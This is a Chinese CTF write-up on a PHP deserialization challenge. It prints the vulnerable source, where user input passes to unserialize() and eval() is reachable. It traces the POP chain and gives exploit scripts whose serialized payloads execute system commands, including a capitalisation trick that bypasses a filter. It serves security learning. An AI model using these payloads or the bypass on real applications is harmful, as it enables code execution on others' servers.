前言

先甩出PHP的魔术方法。

__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
__construst():具有构造函数的类在创建新对象的时候,回调此方法
__destruct():反序列化的时候,或者对象销毁的时候调用
__wakeup():反序列化的时候调用
__sleep():序列化的时候调用
__toString():把类当成字符串的时候调用,一般在echo处生效
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__get():读取不可访问或者不存在的属性的时候,进行赋值
__call():在对象中调用一个不可访问的方法的时候,会被执行

题解

对于反序列化pop链进行分析的时候,我喜欢去进行反推处理,我感觉比正推容易很多,这里也是推荐给大家一个方法去进行反推。

代码

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }    function __call($from,$val){
        $this->fun=$val[0];
    }    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}class Ilovetxw{
    public $huang;
    public $su;    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}class four{
    public $a="TXW4EVER";
    private $fun='abc';    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

解题思路

(1)eval反推到__invoke

这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。

__invoke魔术方法是对象被当做函数进行调用的时候所触发

这里就反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

__ToString方法,是对象被当做字符串的时候进行自动调用

(3)__toString反推到__set

在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。
在这里插入图片描述这里就可以存在把对象当做字符串进行操作。

(4)从__set反推到__call

__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用

这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

思路总结图解

在这里插入图片描述

构造exp

<?php
show_source('2.php');
class NISA{
    public $fun;
    public $txw4ever='system("ls");';
}class TianXiWei{
    public $ext;
    public $x;
}class Ilovetxw{
    public $huang;
    public $su;
}class four{
    public $a;
    private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));

发现something wrong…
这里进行常规大小写转换,就可以绕过

<?php
show_source('2.php');
class NISA{
    public $fun;
    public $txw4ever='System("tac /fllllllaaag");';
}class TianXiWei{
    public $ext;
    public $x;
}class Ilovetxw{
    public $huang;
    public $su;
}class four{
    public $a;
    private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));

就可以读到flag

总结

这道题还是对pop链的构造的一个深入了解,考了一个eval代码执行的小trick技巧,也是比较简单,总体来说,不太复杂,较为基础。

点赞(3) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部